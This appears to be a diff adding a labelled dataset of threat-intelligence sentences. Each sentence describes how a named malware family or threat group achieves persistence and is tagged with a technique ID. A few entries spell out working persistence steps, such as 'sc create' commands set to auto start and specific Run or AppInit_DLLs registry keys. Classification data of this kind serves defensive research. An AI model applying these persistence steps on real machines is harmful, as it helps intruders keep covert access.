+Rocke has installed a systemd service script to maintain persistence.	['T1543.002']
+A Threat Group-3390 tool can create a new service, naming it after the config information, to gain persistence.	['T1543.003']
+APT32 modified Windows Services to ensure PowerShell scripts were loaded on the system. APT32 also creates a Windows service to establish persistence.	['T1543.003']
+APT38 has installed a new Windows service to establish persistence.	['T1543.003']
+APT41 modified legitimate Windows services to install malware backdoors. APT41 created the StorSyncSvc service to provide persistence for Cobalt Strike.	['T1543.003']
+An APT19 Port 22 malware variant registers itself as a service.	['T1543.003']
+Anchor can establish persistence by creating a service.	['T1543.003']
+Attor's dispatcher can establish persistence by registering a new service.	['T1543.003']
+AuditCred is installed as a new service on the system.	['T1543.003']
+BBSRAT can modify service configurations.	['T1543.003']
+Bankshot can terminate a specific process by its process id.	['T1543.003']
+Bisonal has been modified to be used as a Windows service.	['T1543.003']
+BitPaymer has attempted to install itself as a service to maintain persistence.	['T1543.003']
+Blue Mockingbird has made their XMRIG payloads persistent as a Windows Service.	['T1543.003']
+Briba installs a service pointing to a malicious DLL dropped to disk.	['T1543.003']
+Carbon establishes persistence by creating a service and naming it based off the operating system version running on the current machine.	['T1543.003']
+Catchamas adds a new service named NetAdapter to establish persistence.	['T1543.003']
+Clambling can register itself as a system service to gain persistence.	['T1543.003']
+"Conficker copies itself into the ""%systemroot%\system32"" directory and registers as a service."	['T1543.003']
+"CosmicDuke uses Windows services typically named ""javamtsup"" for persistence."	['T1543.003']
+"Cuba can modify services by using the ""OpenService"" and ""ChangeServiceConfig"" functions."	['T1543.003']
+DCSrv has created new services for persistence by modifying the Registry.	['T1543.003']
+DarkVishnya created new services for shellcode loaders distribution.	['T1543.003']
+During Operation CuckooBees, the threat actors modified the `IKEEXT` and `PrintNotify` Windows services for persistence.	['T1543.003']
+Dyre registers itself as a service by adding several Registry keys.	['T1543.003']
+"Earth Lusca created a service using the command ""sc create “SysUpdate” binpath= “cmd /c start “[file path]””&&sc config “SysUpdate” start= auto&&net
+start SysUpdate"" for persistence."	['T1543.003']
+Elise configures itself as a service.	['T1543.003']
+Emissary is capable of configuring itself as a service.	['T1543.003']
+Emotet has been observed creating new services to maintain persistence.	['T1543.003']
+Empire can utilize built-in modules to modify service binaries and restore them to their original state.	['T1543.003']
+FALLCHILL has been installed as a Windows service.	['T1543.003']
+FIN7 created new Windows services and added them to the startup directories for persistence.	['T1543.003']
+FinFisher creates a new Windows service with the malicious executable for persistence.	['T1543.003']
+FunnyDream has established persistence by running `sc.exe` and by setting the `WSearch` service to run automatically.	['T1543.003']
+Honeybee has batch files that modify the system service COMSysApp to load a malicious DLL.	['T1543.003']
+Hydraq creates new services to establish persistence.	['T1543.003']
+If running as administrator, TDTESS installs itself as a new service named bmwappushservice to establish persistence.	['T1543.003']
+InvisiMole can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence.	['T1543.003']
+JHUHUGIT has registered itself as a service to establish persistence.	['T1543.003']
+Kazuar can install itself as a new service.	['T1543.003']
+"Ke3chang backdoor RoyalDNS established persistence through adding a service called ""Nwsapagent""."	['T1543.003']
+KeyBoy installs a service pointing to a malicious DLL dropped to disk.	['T1543.003']
+Kimsuky has created new services for persistence.	['T1543.003']
+LoudMiner can automatically launch a Linux virtual machine as a service at startup if the AutoStart option is enabled in the VBoxVmService configuration file.	['T1543.003']
+MoonWind installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.	['T1543.003']
+Naid creates a new service to establish.	['T1543.003']
+Nebulae can create a service to establish persistence.	['T1543.003']
+Nidiran can create a new service named msamger (Microsoft Security Accounts Manager).	['T1543.003']
+One variant of BlackEnergy creates a new service using either a hard-coded or randomly generated name.	['T1543.003']
+PROMETHIUM has created new services and modified existing services for persistence.	['T1543.003']
+Pandora has the ability to gain system privileges through Windows services.	['T1543.003']
+PingPull has the ability to install itself as a service.	['T1543.003']
+PlugX can be added as a service to establish persistence. PlugX also has a module to change service configurations as well as start, control, and delete services.	['T1543.003']
+PowerSploit contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.	['T1543.003']
+"PsExec can leverage Windows services to escalate privileges from administrator to SYSTEM with the ""-s"" argument."	['T1543.003']
+RDAT has created a service when it is installed on the victim machine.	['T1543.003']
+Ragnar Locker has used sc.exe to create a new service for the VirtualBox driver.	['T1543.003']
+RawPOS installs itself as a service to maintain persistence.	['T1543.003']
+Reaver installs itself as a new service.	['T1543.003']
+"SLOTHFULMEDIA has created a service on victim machines named ""TaskFrame"" to establish persistence."	['T1543.003']
+"STARWHALE has the ability to create the following Windows service to establish persistence on an infected host: `sc create Windowscarpstss binpath= ""cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback_whale"" start= ""auto"" obj= ""LocalSystem""`."	['T1543.003']
+SUGARUSH has created a service named `Service1` for persistence.	['T1543.003']
+Several Lazarus Group malware families install themselves as new services.	['T1543.003']
+"Shamoon creates a new service named “ntssrv” to execute the payload. Newer versions create the ""MaintenaceSrv"" and ""hdv_725x"" services."	['T1543.003']
+ShimRat has installed a Windows service to maintain persistence on victim machines.	['T1543.003']
+Some InnaputRAT variants create a new Windows service to establish persistence.	['T1543.003']
+"Some Sakula samples install themselves as services for persistence by calling WinExec with the ""net start"" argument."	['T1543.003']
+StreamEx establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.	['T1543.003']
+Stuxnet uses a driver registered as a boot start service as the main load-point.	['T1543.003']
+"TEARDROP ran as a Windows service from the ""c:\windows\syswow64"" folder."	['T1543.003']
+TYPEFRAME variants can add malicious DLL modules as new services.TYPEFRAME can also delete services from the victim’s machine.	['T1543.003']
+The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV.”	['T1543.003']
+ThreatNeedle can run in memory and register its payload as a Windows service.	['T1543.003']
+TinyZBot can install as a Windows service for persistence.	['T1543.003']
+To establish persistence, Okrum can install itself as a new service named NtmSsvc.	['T1543.003']
+TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots.	['T1543.003']
+Tropic Trooper has installed a service pointing to a malicious DLL dropped to disk.	['T1543.003']
+Volgmer installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some Volgmer variants also install .dll files as services with names generated by a list of hard-coded strings.	['T1543.003']
+WastedLocker created and established a service that runs until the encryption process is complete.	['T1543.003']
+"Wingbird uses services.exe to register a new autostart service named ""Audit Service"" using a copy of the local lsass.exe file."	['T1543.003', 'T1569.002']
+Winnti for Windows sets its DLL file as a new service in the Registry to establish persistence.	['T1543.003']
+Wizard Spider has installed TrickBot as a service named ControlServiceA in order to establish persistence.	['T1543.003']
+ZLib creates Registry keys to allow itself to run as various services.	['T1543.003']
+ZxShell can create a new service using the service parser function ProcessScCommand.	['T1543.003']
+gh0st RAT can create a new service to establish persistence.	['T1543.003']
+hcdLoader installs itself as a service for persistence.	['T1543.003']
+"AppleJeus has placed a plist file within the ""LaunchDaemons"" folder and launched it manually."	['T1543.004']
+Bundlore can persist via a LaunchDaemon.	['T1543.004']
+Dacls can establish persistence via a Launch Daemon.	['T1543.004']
+"If running with ""root"" permissions, OSX_OCEANLOTUS.D can create a persistence file in the folder ""/Library/LaunchDaemons""."	['T1543.004']
+"When running with root privileges after a Launch Agent is installed, ThiefQuest installs a plist file to the ""/Library/LaunchDaemons/"" folder with the ""RunAtLoad"" key set to ""true"" establishing persistence as a Launch Daemon."	['T1543.004']
+XCSSET uses the ssh launchdaemon to elevate privileges, bypass system controls, and enable remote access to the victim.	['T1543.004']
+Kimsuky has a HWP document stealer module which changes the default program association in the registry to open HWP documents.	['T1546.001']
+SILENTTRINITY can conduct an image hijack of an `.msc` file extension as part of its UAC bypass process.	['T1546.001']
+Gazer can establish persistence through the system screensaver by configuring it to execute the malware.	['T1546.002']
+APT29 has used WMI event subscriptions for persistence.	['T1546.003']
+APT33 has attempted to use WMI event subscriptions to establish persistence on compromised hosts.	['T1546.003']
+Blue Mockingbird has used mofcomp.exe to establish WMI Event Subscription persistence mechanisms configured from a *.mof file.	['T1546.003']
+Leviathan has used WMI for persistence.	['T1546.003']
+Mustang Panda's custom ORat tool uses a WMI event consumer to maintain persistence.	['T1546.003']
+POSHSPY uses a WMI event subscription to establish persistence.	['T1546.003']
+POWERTON can use WMI for persistence.	['T1546.003']
+SILENTTRINITY can create a WMI Event to execute a payload for persistence.	['T1546.003']
+SeaDuke uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.	['T1546.003']
+TrailBlazer has the ability to use WMI for persistence.	['T1546.003']
+Turla has used WMI event filters and consumers to establish persistence.	['T1546.003']
+UNC2452 used WMI event subscriptions for persistence.	['T1546.003']
+adbupd can use a WMI script to achieve persistence.	['T1546.003']
+Green Lambert can establish persistence on a compromised host through modifying the `profile`, `login`, and run command (rc) files associated with the `bash`, `csh`, and `tcsh` shells.	['T1546.004']
+Linux Rabbit maintains persistence on an infected machine through rc.local and .bashrc files.	['T1546.004']
+APT29 used sticky-keys to obtain unauthenticated, privileged console access.	['T1546.008']
+"APT3 replaces the Sticky Keys binary ""C:\Windows\System32\sethc.exe"" for persistence."	['T1546.008']
+APT41 leveraged sticky keys to establish persistence.	['T1546.008']
+Empire can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe.	['T1546.008']
+"Honeybee's service-based DLL implant can execute a downloaded file with parameters specified using ""CreateProcessAsUser""."	['T1546.009']
+PUNCHBUGGY can establish using a AppCertDLLs Registry key.	['T1546.009']
+"APT39 has used malware to set ""LoadAppInit_DLLs"" in the Registry key ""SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"" in order to establish persistence."	['T1546.010']
+"If a victim meets certain criteria, T9000 uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll"" and ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1""."	['T1546.010']
+Ramsay can insert itself into the address space of other applications using the AppInit DLL Registry key.	['T1546.010']
+"Some variants of Cherry Picker use AppInit_DLLs to achieve persistence by creating the following Registry key: ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows ""AppInit_DLLs""=""pserver32.dll"""""	['T1546.010']
+Pillowmint has used a malicious shim database to maintain persistence.	['T1546.011']
+"ShimRat has installed shim databases in the ""AppPatch"" folder."	['T1546.011']
+SDBbot has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7.	['T1546.012']
+"TEMP.Veles has modified and added entries within ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"" to maintain persistence."	['T1546.012']
+Turla has used PowerShell profiles to maintain persistence on an infected machine.	['T1546.013']
+"ComRAT samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location ""HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32""."	['T1546.015']
+KONNI has modified ComSysApp service to load the malicious DLL payload.	['T1546.015']
+Mosquito uses COM hijacking as a method of persistence.	['T1546.015']
+"SILENTTRINITY can add a CLSID key for payload execution through `Registry.CurrentUser.CreateSubKey(""Software\\Classes\\CLSID\\{"" + clsid + ""}\\InProcServer32"")`."	['T1546.015']
+"BoxCaon established persistence by setting the ""HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load"" registry key to point to its executable."	['T1547']
+Dtrack’s RAT makes a persistent target file with auto execution on the host start.	['T1547']
+LoudMiner can automatically launch at startup if the AutoStart option is enabled in the VBoxVmService configuration file.	['T1547']
+Misdat has created registry keys for persistence, including `HKCU\Software\dnimtsoleht\StubPath`, `HKCU\Software\snimtsOleht\StubPath`, `HKCU\Software\Backtsaleht\StubPath`, `HKLM\SOFTWARE\Microsoft\Active Setup\Installed. Components\{3bf41072-b2b1-21c8-b5c1-bd56d32fbda7}`, and `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3ef41072-a2f1-21c8-c5c1-70c2c3bc7905}`.	['T1547']
+"xCaon has added persistence via the Registry key ""HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load"" which causes the malware to run each time any user logs in."	['T1547']
+"A Threat Group-3390 tool can add the binary’s path to the Registry key ""Software\Microsoft\Windows\CurrentVersion\Run"" to add persistence."	['T1547.001']
+"A Turla Javascript backdoor added a local_update_check value under the Registry key ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" to establish persistence. Additionally, a Turla custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence."	['T1547.001']
+"A dropper used by Putter Panda installs itself into the ASEP Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" with a value named McUpdate."	['T1547.001']
+A version of KONNI has dropped a Windows shortcut into the Startup folder to establish persistence.	['T1547.001']
+"ADVSTORESHELL achieves persistence by adding itself to the ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" Registry key."	['T1547.001']
+"APT18 establishes persistence via the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" key."	['T1547.001']
+APT28 has deployed malware that has copied itself to the startup directory for persistence.	['T1547.001']
+APT29 added Registry Run keys to establish persistence.	['T1547.001']
+APT3 places scripts in the startup folder for persistence.	['T1547.001']
+APT32 established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly.	['T1547.001']
+APT33 has deployed a tool known as DarkComet to the Startup folder of a victim, and used Registry run keys to gain persistence.	['T1547.001']
+"APT37's has added persistence via the Registry key ""HKCU\Software\Microsoft\CurrentVersion\Run\""."	['T1547.001']
+APT39 has maintained persistence using the startup folder.	['T1547.001']
+"APT41 created and modified startup files for persistence. APT41 added a registry key in ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"" to establish persistence for Cobalt Strike."	['T1547.001']
+Agent Tesla can add itself to the Registry as a startup program to establish persistence.	['T1547.001']
+"An APT19 HTTP malware variant establishes persistence by setting the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\""."	['T1547.001']
+"AppleSeed has the ability to create the Registry key name ""EstsoftAutoUpdate"" at ""HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce"" to establish persistence."	['T1547.001']
+Aria-body has established persistence via the Startup folder or Run Registry key.	['T1547.001']
+Astaroth creates a startup item for persistence.	['T1547.001']
+AuTo Stealer can place malicious executables in a victim's AutoRun registry key or StartUp directory, depending on the AV product installed, to maintain persistence.	['T1547.001']
+Avaddon uses registry run keys for persistence.	['T1547.001']
+BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.	['T1547.001', 'T1547.009']
+BADNEWS installs a registry Run key to establish persistence.	['T1547.001']
+"BBSRAT has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe""."	['T1547.001']
+BRONZE BUTLER has used a batch script that adds a Registry Run key to establish malware persistence.	['T1547.001']
+BabyShark has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.	['T1547.001']
+Backdoor.Oldrea adds Registry Run keys to achieve persistence.	['T1547.001']
+Bazar can create or add files to Registry Run Keys to establish persistence.	['T1547.001']
+"BitPaymer has set the run key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence."	['T1547.001']
+"BoomBox can establish persistence by writing the Registry value ""MicroNativeCacheSvc"" to ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run""."	['T1547.001']
+Briba creates run key Registry entries pointing to malicious DLLs dropped to disk.	['T1547.001']
+"Cardinal RAT establishes Persistence by setting the  ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load"" Registry key to point to its executable."	['T1547.001']
+ChChes establishes persistence by adding a Registry Run key.	['T1547.001']
+"Chaes has added persistence via the Registry key ""software\microsoft\windows\currentversion\run\microsoft windows html help""."	['T1547.001']
+Clambling can establish persistence by adding a Registry run key.	['T1547.001']
+Cobalt Group has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.	['T1547.001']
+Cobian RAT creates an autostart Registry key to ensure persistence.	['T1547.001']
+Conficker adds Registry Run keys to establish persistence.	['T1547.001']
+Confucius has dropped malicious files into the startup folder `%AppData%\Microsoft\Windows\Start Menu\Programs\Startup` on a compromised host in order to maintain persistence.	['T1547.001']
+Crimson can add Registry run keys for persistence.	['T1547.001']
+CrossRAT uses run keys for persistence on Windows	['T1547.001']
+"Dark Caracal's version of Bandook adds a registry key to ""HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence."	['T1547.001']
+Darkhotel has been known to establish persistence by adding programs to the Run Registry key.	['T1547.001']
+DnsSystem can write itself to the Startup folder to gain persistence.	['T1547.001']
+Dragonfly has added the registry value ntdll to the Registry Run key to establish persistence.	['T1547.001']
+During Operation Sharpshooter, a first-stage downloader installed Rising Sun to `%Startup%\mssync.exe` on a compromised host.	['T1547.001']
+"DustySky achieves persistence by creating a Registry entry in ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""."	['T1547.001']
+EVILNUM can achieve persistence through the Registry Run key.	['T1547.001']
+"Emotet has been observed adding the downloaded payload to the ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"" key to maintain persistence."	['T1547.001']
+"EvilBunny has created Registry keys for persistence in ""[HKLM|HKCU]\…\CurrentVersion\Run""."	['T1547.001']
+EvilGrab adds a Registry Run key for ctfmon.exe to establish persistence.	['T1547.001']
+FELIXROOT adds a shortcut file to the startup folder for persistence.	['T1547.001']
+FIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key.	['T1547.001']
+FIN6 has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.	['T1547.001']
+FLASHFLOOD achieves persistence by making an entry in the Registry's Run key.	['T1547.001']
+"FatDuke has used ""HKLM\SOFTWARE\Microsoft\CurrentVersion\Run"" to establish persistence."	['T1547.001']
+"FinFisher establishes persistence by creating the Registry key ""HKCU\Software\Microsoft\Windows\Run""."	['T1547.001']
+Final1stspy creates a Registry Run key to establish persistence.	['T1547.001']
+FunnyDream can use a Registry Run Key and the Startup folder to establish persistence.	['T1547.001']
+GRIFFON has used a persistence module that stores the implant inside the Registry, which executes at logon.	['T1547.001']
+Gamaredon Group tools have registered Run keys in the registry to give malicious VBS files persistence.	['T1547.001']
+Gazer can establish persistence by creating a .lnk file in the Start menu.	['T1547.001']
+Gelsemium can set persistence with a Registry run key.	['T1547.001']
+Gold Dragon establishes persistence in the Startup folder.	['T1547.001']
+Grandoreiro can use run keys and create link files in the startup folder for persistence.	['T1547.001']
+GrimAgent can set persistence with a Registry run key.	['T1547.001']
+"HTTPBrowser has established persistence by setting the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" key value for ""wdm"" to the path of the executable. It has also used the Registry entry ""HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run vpdn “%ALLUSERPROFILE%\%APPDATA%\vpdn\VPDN_LU.exe”"" to establish persistence."	['T1547.001']
+Heyoka Backdoor can establish persistence with the auto start function including using the value `EverNoteTrayUService`.	['T1547.001']
+Hi-Zor creates a Registry Run key to establish persistence.	['T1547.001']
+Honeybee uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.	['T1547.001']
+"Inception has maintained persistence by modifying Registry run key value 
+ ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\""."	['T1547.001']
+JCry has created payloads in the Startup directory to maintain persistence.	['T1547.001']
+JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.	['T1547.001']
+KOCTOPUS can set the AutoRun Registry key with a PowerShell command.	['T1547.001']
+Kasidet creates a Registry Run key to establish persistence.	['T1547.001']
+Kazuar adds a sub-key under several Registry run keys.	['T1547.001']
+Kimsuky has placed scripts in the startup folder for persistence and modified the `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce` Registry key.	['T1547.001']
+Koadic has added persistence to the `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` Registry key.	['T1547.001']
+Lazarus Group has maintained persistence by loading malicious code into a startup folder or by adding a Registry Run key.	['T1547.001']
+LazyScripter has achieved persistence via writing a PowerShell script to the autorun registry key.	['T1547.001']
+Leviathan has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.	['T1547.001', 'T1547.009']
+"LoJax has modified the Registry key ""‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’"" from ""‘autocheck autochk *’"" to ""‘autocheck autoche *’"" in order to execute its payload during Windows startup."	['T1547.001']
+LookBack sets up a Registry Run key to establish a persistence mechanism.	['T1547.001']
+"Lucifer can persist by setting Registry key values ""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic"" and ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic""."	['T1547.001']
+MCMD can use Registry Run Keys for persistence.	['T1547.001']
+Machete used the startup folder for persistence.	['T1547.001']
+MarkiRAT can drop its payload into the Startup directory to ensure it automatically runs when the compromised system is started.	['T1547.001']
+"Maze has created a file named ""startup_vrun.bat"" in the Startup folder of a virtual machine to establish persistence."	['T1547.001']
+"Mivast creates the following Registry entry: ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micromedia""."	['T1547.001']
+Mongall can establish persistence with the auto start function including using the value `EverNoteTrayUService`.	['T1547.001']
+"Mosquito establishes persistence under the Registry key ""HKCU\Software\Run auto_update""."	['T1547.001']
+"Most Sakula samples maintain persistence by setting the Registry Run key ""SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"" in the HKLM or HKCU hive, with the Registry value and file name varying by sample."	['T1547.001']
+"NOKKI has established persistence by writing the payload to the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run""."	['T1547.001']
+Naikon has modified a victim's Windows Run registry to establish persistence.	['T1547.001']
+NanHaiShu modifies the %regrun% Registry to point itself to an autostart mechanism.	['T1547.001']
+NavRAT creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.	['T1547.001']
+ObliqueRAT can gain persistence by a creating a shortcut in the infected user's Startup directory.	['T1547.001']
+"Octopus achieved persistence by placing a malicious executable in the startup directory and has added the ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"" key to the Registry."	['T1547.001']
+Okrum establishes persistence by creating a .lnk shortcut to itself in the Startup folder.	['T1547.001']
+"PLAINTEE gains persistence by adding the Registry key ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce""."	['T1547.001']
+POWERSOURCE achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.	['T1547.001']
+POWERTON can install a Registry Run key for persistence.	['T1547.001']
+PROMETHIUM has used Registry run keys to establish persistence.	['T1547.001']
+PUNCHBUGGY has been observed using a Registry Run key.	['T1547.001']
+Patchwork has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.	['T1547.001']
+PlugX adds Run key entries in the Registry to establish persistence.	['T1547.001']
+PoisonIvy creates run key Registry entries pointing to a malicious executable dropped to disk.	['T1547.001']
+PowerShower sets up persistence with a Registry run key.	['T1547.001']
+"PowerSploit's ""New-UserPersistenceOption"" Persistence argument can be used to establish via the ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" Registry key."	['T1547.001']
+Prikormka adds itself to a Registry Run key with the name guidVGA or guidVSA.	['T1547.001']
+Pteranodon copies itself to the Startup folder to establish persistence.	['T1547.001']
+"Pupy adds itself to the startup folder or adds itself to the Registry key ""SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"" for persistence."	['T1547.001']
+QakBot can maintain persistence by creating an auto-run Registry key.	['T1547.001']
+RCSession has the ability to modify a Registry Run key to establish persistence.	['T1547.001']
+RTM has used Registry run keys to establish persistence for the RTM Trojan and other tools, such as a modified version of TeamViewer remote desktop software.	['T1547.001']
+Ramsay has created Registry Run keys to establish persistence.	['T1547.001']
+Reaver creates a shortcut file and saves it in a Startup folder to establish persistence.	['T1547.001', 'T1547.009']
+RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.	['T1547.001']
+"Remcos can add itself to the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence."	['T1547.001']
+Remexi utilizes Run Registry keys in the HKLM hive as a persistence mechanism.	['T1547.001']
+"Revenge RAT creates a Registry key at ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell"" to survive a system reboot."	['T1547.001']
+"Rifdoor has created a new registry entry at ""HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\Run\Graphics"" with a value of ""C:\ProgramData\Initech\Initech.exe /run""."	['T1547.001']
+"RunningRAT adds itself to the Registry key ""Software\Microsoft\Windows\CurrentVersion\Run"" to establish persistence upon reboot."	['T1547.001']
+"S-Type may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{3 characters of Unique Identifier}""."	['T1547.001']
+SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder.	['T1547.001', 'T1547.009']
+SILENTTRINITY can establish a LNK file in the startup folder for persistence.	['T1547.001']
+SNUGRIDE establishes persistence through a Registry Run key.	['T1547.001']
+SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.	['T1547.001', 'T1547.009']
+STARWHALE can establish persistence by installing itself in the startup folder, whereas the GO variant has created a `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookM` registry key.	['T1547.001']
+Saint Bot has established persistence by being copied to the Startup directory or through the `\Software\Microsoft\Windows\CurrentVersion\Run` registry key.	['T1547.001']
+SeaDuke is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.	['T1547.001']
+"Seasalt creates a Registry entry to ensure infection after reboot under ""HKLM\Software\Microsoft\Windows\currentVersion\Run""."	['T1547.001']
+"ServHelper may attempt to establish persistence via the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"" run key."	['T1547.001']
+Several Ke3chang backdoors achieved persistence by adding a Run key.	['T1547.001']
+"Sharpshooter's first-stage downloader installed Rising Sun to the startup folder ""%Startup%\mssync.exe""."	['T1547.001']
+Sidewinder has added paths to executables in the Registry to establish persistence.	['T1547.001']
+"Silence has used ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"", ""HKLM\Software\Microsoft\Windows\CurrentVersion\Run"", and the Startup folder to establish persistence."	['T1547.001']
+Small Sieve has the ability to add itself to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift` for persistence.	['T1547.001']
+Smoke Loader adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.	['T1547.001']
+Sykipot has been known to establish persistence by adding programs to the Run Registry key.	['T1547.001']
+SysUpdate can use a Registry Run key to establish persistence.	['T1547.001']
+TINYTYPHON installs itself under Registry Run key to establish persistence.	['T1547.001']
+TeamTNT has added batch scripts to the startup folder.	['T1547.001']
+The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.	['T1547.001', 'T1547.009']
+TinyZBot can create a shortcut in the Windows startup folder for persistence.	['T1547.001', 'T1547.009']
+TrickBot establishes persistence in the Startup folder.	['T1547.001']
+Tropic Trooper has created shortcuts in the Startup folder to establish persistence.	['T1547.001']
+Truvasys adds a Registry Run key to establish persistence.	['T1547.001']
+Turian can establish persistence by adding Registry Run keys.	['T1547.001']
+"USBStealer registers itself under a Registry Run key with the name ""USB Disk Security."""	['T1547.001']
+"VBShower used ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\[a-f0-9A-F]{8}"" to maintain persistence."	['T1547.001']
+Variants of Emissary have added Run Registry keys to establish persistence.	['T1547.001']
+WarzoneRAT can add itself to the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UIF2IS20VK` Registry keys.	['T1547.001']
+Windshift has created LNK files in the Startup folder to establish persistence.	['T1547.001']
+"Winnti for Windows can add a service named ""wind0ws"" to the Registry to achieve persistence after reboot."	['T1547.001']
+Xbash can create a Startup item for persistence if it determines it is on a Windows system.	['T1547.001']
+"ZIRCONIUM has created a Registry Run key named ""Dropbox Update Setup"" to establish persistence for a malicious Python binary."	['T1547.001']
+Zebrocy creates an entry in a Registry Run key for the malware to execute on startup.	['T1547.001']
+Zeus Panda adds persistence by creating Registry Run keys.	['T1547.001']
+build_downer has the ability to add itself to the Registry Run key for persistence.	['T1547.001']
+gh0st RAT has added a Registry Run key to establish persistence.	['T1547.001']
+"njRAT has added persistence via the Registry key ""HKCU\Software\Microsoft\CurrentVersion\Run\"" and dropped a shortcut in ""%STARTUP%""."	['T1547.001']
+Bazar can use Winlogon Helper DLL to establish persistence.	['T1547.004']
+"Gazer can establish persistence by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon""."	['T1547.004']
+"Remexi achieves persistence using Userinit by adding the Registry key ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit""."	['T1547.004']
